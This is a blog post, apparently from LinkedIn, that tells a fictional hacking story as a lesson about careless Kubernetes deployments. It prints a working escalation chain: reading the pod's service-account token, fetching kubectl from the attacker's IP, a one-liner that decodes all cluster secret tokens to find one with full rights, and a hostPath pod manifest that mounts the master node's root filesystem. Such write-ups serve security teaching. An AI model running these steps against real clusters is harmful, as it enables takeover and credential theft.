Kubernetes Takeover— Exit the Box!
Talking about “learn by taking apart”, I got tired of hearing about Kubernetes (K8s) and decided to take a look at it in my own way: through CTF and ethical learning / hacking.
I am going to tell you about my personal experience, partly from CTF (Capture The Flag), and my considerations on K8s and containers in general.
Why you say? Because containers are so coool!
What is K8s? Wikipedia explains it like this:
Kubernetes (commonly stylized as k8s) is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google and is now maintained by the Cloud Native Computing Foundation. It aims to provide a “platform for automating deployment, scaling, and operations of application containers across clusters of hosts”. It works with a range of container tools, including Docker. Many cloud services offer a Kubernetes-based platform or infrastructure as a service (PaaS or IaaS) on which Kubernetes can be deployed as a platform-providing service. Many vendors also provide their own branded Kubernetes distributions.
The hypothetical case (entirely fiction)
The Little Evil Srl company has detached itself from the very famous Bull S. Corp. and has commissioned their best and only systems engineer, such Eng. Sure Safe, to identify and create a robust and flexible solution to expose company portals to the rest of the world. Obviously everything at reduced cost “because budget”.
Eng. Safe has thought well of riding the crest of the wave and proposing a relevant, current and trendy solution.
He had read some articles on the blog “Smart-Us” and spent 2 whole hours studying the container / docker theme, until he found out how to implement Kubernetes.
And this might not be how I met your mother, but it is how a K8s cluster is proposed to management as a demo for the company portal: the structure consists of a pair of nodes plus the master, a development pod and one that serves an Open Source CMS. Each pod has only the bare minimum and specific service users have been created in order to segment the access as much as possible.
The proposal is well received, is quickly approved and Safe is Sure to be Safe.
Story telling
Sure was so satisfied that he took all his friends to the pub to celebrate and offer them drinks using the large bonus received from his beloved L.E. Srl. Both accepted willingly.
While telling in minute detail how he “saved the universe” (yes at the pub …) one of the two friends, who amuses himself in his spare time on cyber security, politely points out: “But Sure, that CMS you use is full of leaks … they will break through immediately! “
Sure: “Ah it could be, but it’s in container they won’t go anywhere!”
Hacker Friend: “Are you Sure?”
Sure: “…”
And this is how Eng. Safe challenges Friend Hacker to see how far he could go, relieving him of any responsibility during the attempt.
That same evening Friend comes home and turns on the laptop, immediately starting his Kali Linux VM.
He does a bit of enumeration on the published portal, checks the versions, makes a couple of attempts and quickly manages to obtain a RCE (Remote Code Execution) from the weak CMS and obtains a remote session on the web server, with limited privileges in the application context.
Unboxing
Now Friend is connected to a Linux reverse shell as “www-data” and is trying to understand what he could do and how far he could go: among the installed packages there are only apt-get, vim, cUrl, zip and openssl, the user is limited and the DNS does not resolve public addresses. But it gets there on the Internet!
He too doesn’t know Kubernetes well, but in a short time he discovers that the “pods” use service users for management and immediately identifies the one mapped in /run/secrets/kubernetes.io/serviceaccount.
This way he discovers he has access to the ca.crt, namespace and token files inside the folder. The Internet also teaches him that the token file is actually a JWT with the details of the service user, so he recognizes the WEB SERVICE TOKEN inside it.
The K8s documentation explains that to interact with the cluster you can proceed either through HTTP requests to the service APIs (having the permissions) or through the kubectl tool (unfortunately missing on the server).
Although Friend has managed to trace some internal container addresses, he doesn’t know where and how to make API requests and decides to download the binary of the kubectl file from his public IP, compressed to then decompress it and give himself the execution permissions from /tmp/.
By executing it he discovers additional information:
Now he knows which URL to point to to access the master, so he makes some attempts having read articles that explain some vulnerabilities of Kubernetes on web services. Unfortunately, the versions do not coincide and soon he gives up, thinking of trying to see how far he can go with the API requests. No API requests are successful though, so the time has come to change strategy.
What can Friend do with current permissions using the kubectl tool?
Obtain the pod list:
/tmp/kubectl get pods
NAMESPACE NAME READY STATUS RESTARTS AGE
default dev-<REDACTED> 1/1 Running 12 153d
default webserver-<REDACTED> 1/1 Running 5 157dEscalate privileges on webserver:
/tmp/kubectl exec -it webserver-<REDACTED> /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)Obtain root access directly on the pod dev-<REDACTED>:
/tmp/kubectl exec -it dev-<REDACTED> /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
hostname
dev-<REDACTED>Given that rooting the webserver doesn’t come more useful than this (although he now can play with DNS and Aptitude to manage packets), Friend grins savoring how much he will be able to reproach to Safe and moves to the development pod, thus obtaining new tokens with other permissions within the cluster.
From POD to LUN(a)
[missing pun: luna is Italian for moon, feel free to help find one in English]
Now what Friend Hacker wants to do is to demonstrate to Eng. Safe that by compromising the pods he is able to somehow interact with the cluster, therefore he pushes his research beyond the “default namespace” until obtaining interesting results in making a request to the “kube-system namespace”. This time he runs the command:
kubectl --token=<TOKEN DI SERVIZIO> proxy --port=0This syntax allows him to establish a local proxy, on a random port, towards the cluster API server. All of this using and announcing the user impersonated through the relative token. He is therefore no longer limited to using the service account of the machine from which it executes the commands and in doing so he is able to identify loose permissions of the service user “dev”, who has access to the keys of the whole cluster: http://127.0.0.1:8001/api/v1/namespaces/kube-system/secrets
However, he runs into an uncomfortable issue: the service tokens are numerous and kubectl allows you to check what the user has access to only on specific command and specific request.
Friend, who has some scripting experience and is basically a lazy person, then writes a small oneliner to identify which token, decoded from Base64, has the permissions to execute anything on the “kube-system” namespace.
for token in $(kubectl --token=<REDACTED> get secrets --all-namespaces -o yaml | grep 'token:' | cut -d":" -f2 | cut -d" " -f2); do echo "$token" | base64 -d; echo ""; kubectl --token=$(echo "$token" | base64 -d) --namespace=kube-system auth can-i '*' '*' ; echo "-"; doneFortunately for him it works and in a few seconds he gets a list of each token and finds a suitable one that can act undisturbed:
“yes” is the answer kubectl gives to the question “can-i do everything?”
Now Friend has complete control over the cluster, can read pod configurations and impersonate any level of service. But he wants to go further to make Sure eat crow, so he tries to access the master node’s filesystem directly.
To do so, he creates a yaml that describes an ad-hoc pod that mounts on the correct node (we have the master, node1 and node2 nodes):
apiVersion: v1
kind: Pod
metadata:
name: redis
spec:
containers:
- name: redis
image: redis
volumeMounts:
- name: redis-storage
mountPath: /data/redis
volumes:
- name: redis-storage
hostPath:
path: /
nodeName: masterHe runs the command to create the pod, recycling the previously obtained token:
kubectl --token=<REDACTED> --namespace=kube-system apply -f attackpod.yaml --validate=false…he waits for the pod to be running…
…and runs a shell on the fresh pod:
kubectl --token=<REDACTED> --namespace=kube-system exec -it redis /bin/shHaving obtained root access to the entire cluster and the filesystem of the master node, it remains only to leave the message for Safe inside of “redis/” (which corresponds to the “/” of the master):
echo "Eng. Safe HACKED by Friend Hacker" > redis/HACKED.txt(my) conclusion
I let myself be carried away by the narrative, but as usual I preferred to omit redundant technicalities to bring out more a concept than a detail.
Kubernetes (K8s), dockers, containers … as well as any other attractive technology that is or has been more or less fashionable … are never good solutions if they are not used after a thorough study of all the issues of the case.
One could fall into the temptation to have implemented something innovative and consider it “OK” only because it is working, but I always consider it good practice to deepen the issues and not be fooled by the easy temptations of “quick”, “cheap” and “packaged”.
I repeat, they are not accusations to the solutions which for their part are very powerful, if it really must be a “pointing the finger” this would be towards the lack of attention to risk issues in adopting them with (un)safety.
Anyway, the day after Sure Safe offers another round of beers to Friend Hacker.
Originally published at https://www.linkedin.com in Italian language.
